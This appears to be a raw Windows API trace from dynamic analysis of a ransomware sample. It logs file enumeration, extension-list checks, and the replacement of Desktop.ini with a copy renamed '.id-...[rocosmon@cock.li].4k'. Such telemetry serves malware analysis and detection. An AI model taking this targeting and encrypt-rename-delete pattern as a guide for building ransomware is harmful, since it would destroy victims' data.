	[0101.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.147] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4587) returned 1
	[0101.147] CloseHandle (hObject=0x1f0) returned 1
	[0101.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif")) returned 0x20
	[0101.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.148] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.148] lstrlenW (lpString=".doc") returned 4
	[0101.148] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0101.148] lstrlenW (lpString=".docx") returned 5
	[0101.148] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1
	[0101.148] lstrlenW (lpString=".pdf") returned 4
	[0101.148] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0101.148] lstrlenW (lpString=".xls") returned 4
	[0101.148] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0101.148] lstrlenW (lpString=".xlsx") returned 5
	[0101.148] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1
	[0101.148] lstrlenW (lpString=".ppt") returned 4
	[0101.148] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0101.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.148] lstrlenW (lpString=".zip") returned 4
	[0101.148] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0101.148] lstrlenW (lpString=".rar") returned 4
	[0101.148] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0101.148] lstrlenW (lpString=".bz2") returned 4
	[0101.148] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0101.148] lstrlenW (lpString=".7z") returned 3
	[0101.148] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0101.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.149] lstrlenW (lpString=".dbf") returned 4
	[0101.149] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0101.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.149] lstrlenW (lpString=".1cd") returned 4
	[0101.149] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0101.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.149] lstrlenW (lpString=".jpg") returned 4
	[0101.149] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0101.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.149] lstrlenW (lpString=".doc") returned 4
	[0101.149] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0101.149] lstrlenW (lpString=".docx") returned 5
	[0101.149] lstrcmpiW (lpString1=".docx", lpString2="s.gif") returned -1
	[0101.149] lstrlenW (lpString=".pdf") returned 4
	[0101.149] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0101.149] lstrlenW (lpString=".xls") returned 4
	[0101.149] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0101.149] lstrlenW (lpString=".xlsx") returned 5
	[0101.149] lstrcmpiW (lpString1=".xlsx", lpString2="s.gif") returned -1
	[0101.149] lstrlenW (lpString=".ppt") returned 4
	[0101.149] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0101.149] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.149] lstrlenW (lpString=".zip") returned 4
	[0101.149] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0101.149] lstrlenW (lpString=".rar") returned 4
	[0101.150] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0101.150] lstrlenW (lpString=".bz2") returned 4
	[0101.150] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0101.150] lstrlenW (lpString=".7z") returned 3
	[0101.150] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0101.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.150] lstrlenW (lpString=".dbf") returned 4
	[0101.150] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0101.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.150] lstrlenW (lpString=".1cd") returned 4
	[0101.150] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0101.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif") returned 75
	[0101.150] lstrlenW (lpString=".jpg") returned 4
	[0101.150] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0101.150] lstrcmpiW (lpString1=".gif", lpString2=".4k") returned 1
	[0101.150] lstrlenW (lpString="Connectivity.gif") returned 16
	[0101.150] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.151] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2319) returned 1
	[0101.151] CloseHandle (hObject=0x1f0) returned 1
	[0101.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20
	[0101.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.151] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.151] lstrlenW (lpString=".doc") returned 4
	[0101.151] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0101.151] lstrlenW (lpString=".docx") returned 5
	[0101.151] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1
	[0101.151] lstrlenW (lpString=".pdf") returned 4
	[0101.151] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0101.151] lstrlenW (lpString=".xls") returned 4
	[0101.151] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0101.151] lstrlenW (lpString=".xlsx") returned 5
	[0101.152] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1
	[0101.152] lstrlenW (lpString=".ppt") returned 4
	[0101.152] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0101.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.152] lstrlenW (lpString=".zip") returned 4
	[0101.152] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0101.152] lstrlenW (lpString=".rar") returned 4
	[0101.152] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0101.152] lstrlenW (lpString=".bz2") returned 4
	[0101.152] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0101.152] lstrlenW (lpString=".7z") returned 3
	[0101.152] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0101.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.152] lstrlenW (lpString=".dbf") returned 4
	[0101.152] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0101.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.152] lstrlenW (lpString=".1cd") returned 4
	[0101.152] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0101.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.152] lstrlenW (lpString=".jpg") returned 4
	[0101.152] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0101.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.152] lstrlenW (lpString=".doc") returned 4
	[0101.152] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1
	[0101.153] lstrlenW (lpString=".docx") returned 5
	[0101.153] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1
	[0101.153] lstrlenW (lpString=".pdf") returned 4
	[0101.153] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1
	[0101.153] lstrlenW (lpString=".xls") returned 4
	[0101.153] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1
	[0101.153] lstrlenW (lpString=".xlsx") returned 5
	[0101.153] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1
	[0101.153] lstrlenW (lpString=".ppt") returned 4
	[0101.153] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1
	[0101.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.153] lstrlenW (lpString=".zip") returned 4
	[0101.153] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1
	[0101.153] lstrlenW (lpString=".rar") returned 4
	[0101.153] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1
	[0101.153] lstrlenW (lpString=".bz2") returned 4
	[0101.153] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1
	[0101.153] lstrlenW (lpString=".7z") returned 3
	[0101.153] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1
	[0101.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.153] lstrlenW (lpString=".dbf") returned 4
	[0101.153] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1
	[0101.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.153] lstrlenW (lpString=".1cd") returned 4
	[0101.153] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1
	[0101.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74
	[0101.153] lstrlenW (lpString=".jpg") returned 4
	[0101.153] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1
	[0101.154] lstrcmpiW (lpString1=".ini", lpString2=".4k") returned 1
	[0101.154] lstrlenW (lpString="Desktop.ini") returned 11
	[0101.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.154] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=645) returned 1
	[0101.154] CloseHandle (hObject=0x1f0) returned 1
	[0101.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26
	[0101.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.154] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.155] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4
	[0101.155] GetLastError () returned 0x0
	[0101.155] ReadFile (in: hFile=0x1f0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x285, lpOverlapped=0x0) returned 1
	[0101.156] WriteFile (in: hFile=0x1e4, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x290, lpOverlapped=0x0) returned 1
	[0101.157] ReadFile (in: hFile=0x1f0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0101.157] WriteFile (in: hFile=0x1e4, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0101.157] SetEndOfFile (hFile=0x1e4) returned 1
	[0101.158] CloseHandle (hObject=0x1e4) returned 1
	[0101.158] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0101.158] SetEndOfFile (hFile=0x1f0) returned 1
	[0101.159] CloseHandle (hObject=0x1f0) returned 1
	[0101.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x26) returned 1
	[0101.159] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1
	[0101.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.160] lstrlenW (lpString=".doc") returned 4
	[0101.160] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0101.160] lstrlenW (lpString=".docx") returned 5
	[0101.160] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0101.160] lstrlenW (lpString=".pdf") returned 4
	[0101.160] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0101.160] lstrlenW (lpString=".xls") returned 4
	[0101.160] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0101.160] lstrlenW (lpString=".xlsx") returned 5
	[0101.160] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0101.160] lstrlenW (lpString=".ppt") returned 4
	[0101.160] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0101.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.160] lstrlenW (lpString=".zip") returned 4
	[0101.160] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0101.160] lstrlenW (lpString=".rar") returned 4
	[0101.160] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0101.160] lstrlenW (lpString=".bz2") returned 4
	[0101.160] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0101.160] lstrlenW (lpString=".7z") returned 3
	[0101.160] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0101.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.160] lstrlenW (lpString=".dbf") returned 4
	[0101.160] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0101.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.160] lstrlenW (lpString=".1cd") returned 4
	[0101.160] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0101.160] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.161] lstrlenW (lpString=".jpg") returned 4
	[0101.161] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0101.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.161] lstrlenW (lpString=".doc") returned 4
	[0101.161] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0101.161] lstrlenW (lpString=".docx") returned 5
	[0101.161] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0101.161] lstrlenW (lpString=".pdf") returned 4
	[0101.161] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0101.161] lstrlenW (lpString=".xls") returned 4
	[0101.161] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0101.161] lstrlenW (lpString=".xlsx") returned 5
	[0101.161] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0101.161] lstrlenW (lpString=".ppt") returned 4
	[0101.161] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0101.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.161] lstrlenW (lpString=".zip") returned 4
	[0101.161] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0101.161] lstrlenW (lpString=".rar") returned 4
	[0101.161] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0101.161] lstrlenW (lpString=".bz2") returned 4
	[0101.161] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0101.161] lstrlenW (lpString=".7z") returned 3
	[0101.161] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0101.161] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.162] lstrlenW (lpString=".dbf") returned 4
	[0101.162] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0101.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.162] lstrlenW (lpString=".1cd") returned 4
	[0101.162] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0101.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini") returned 69
	[0101.162] lstrlenW (lpString=".jpg") returned 4
	[0101.162] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0101.162] lstrcmpiW (lpString1=".emf", lpString2=".4k") returned 1
	[0101.162] lstrlenW (lpString="Dotted_Lines.emf") returned 16
	[0101.162] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.162] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=3792) returned 1
	[0101.162] CloseHandle (hObject=0x1f0) returned 1
	[0101.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf")) returned 0x20
	[0101.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.163] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.163] lstrlenW (lpString=".doc") returned 4
	[0101.163] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0101.163] lstrlenW (lpString=".docx") returned 5
	[0101.163] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1
	[0101.163] lstrlenW (lpString=".pdf") returned 4
	[0101.163] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0101.163] lstrlenW (lpString=".xls") returned 4
	[0101.163] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0101.163] lstrlenW (lpString=".xlsx") returned 5
	[0101.163] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1
	[0101.163] lstrlenW (lpString=".ppt") returned 4
	[0101.163] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0101.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.163] lstrlenW (lpString=".zip") returned 4
	[0101.163] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0101.163] lstrlenW (lpString=".rar") returned 4
	[0101.163] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0101.163] lstrlenW (lpString=".bz2") returned 4
	[0101.164] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0101.164] lstrlenW (lpString=".7z") returned 3
	[0101.164] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0101.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.164] lstrlenW (lpString=".dbf") returned 4
	[0101.164] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0101.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.164] lstrlenW (lpString=".1cd") returned 4
	[0101.164] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0101.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.164] lstrlenW (lpString=".jpg") returned 4
	[0101.164] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0101.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.164] lstrlenW (lpString=".doc") returned 4
	[0101.164] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0101.164] lstrlenW (lpString=".docx") returned 5
	[0101.164] lstrcmpiW (lpString1=".docx", lpString2="s.emf") returned -1
	[0101.164] lstrlenW (lpString=".pdf") returned 4
	[0101.164] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0101.164] lstrlenW (lpString=".xls") returned 4
	[0101.164] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0101.164] lstrlenW (lpString=".xlsx") returned 5
	[0101.164] lstrcmpiW (lpString1=".xlsx", lpString2="s.emf") returned -1
	[0101.164] lstrlenW (lpString=".ppt") returned 4
	[0101.164] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0101.164] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.165] lstrlenW (lpString=".zip") returned 4
	[0101.165] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0101.165] lstrlenW (lpString=".rar") returned 4
	[0101.165] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0101.165] lstrlenW (lpString=".bz2") returned 4
	[0101.165] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0101.165] lstrlenW (lpString=".7z") returned 3
	[0101.165] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0101.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.165] lstrlenW (lpString=".dbf") returned 4
	[0101.165] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0101.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.165] lstrlenW (lpString=".1cd") returned 4
	[0101.165] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0101.165] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf") returned 74
	[0101.165] lstrlenW (lpString=".jpg") returned 4
	[0101.165] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0101.165] lstrcmpiW (lpString1=".htm", lpString2=".4k") returned 1
